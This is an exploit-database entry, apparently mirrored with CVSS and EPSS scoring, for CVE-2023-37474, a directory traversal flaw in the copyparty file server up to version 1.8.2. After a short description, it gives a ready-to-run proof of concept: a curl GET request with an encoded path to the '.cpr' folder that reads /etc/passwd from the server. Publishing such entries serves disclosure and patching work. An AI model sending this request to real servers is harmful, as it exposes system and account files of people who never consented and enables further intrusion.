copyparty 1.8.2 - Directory Traversal

2023-07-2800:00:00

Vartamtezidis Theodoros

www.exploit-db.com

127

exploit

path traversal

portable file server

cve-2023-37474

debian linux

web document root

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

0.055 Low

EPSS

Percentile

93.3%

JSON

# Exploit Title: copyparty 1.8.2 - Directory Traversal
# Date: 14/07/2023
# Exploit Author: Vartamtzidis Theodoros (@TheHackyDog)
# Vendor Homepage: https://github.com/9001/copyparty/
# Software Link: https://github.com/9001/copyparty/releases/tag/v1.8.2
# Version: <=1.8.2
# Tested on: Debian Linux
# CVE : CVE-2023-37474




#Description
Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory.

#POC
curl -i -s -k -X  GET 'http://127.0.0.1:3923/.cpr/%2Fetc%2Fpasswd'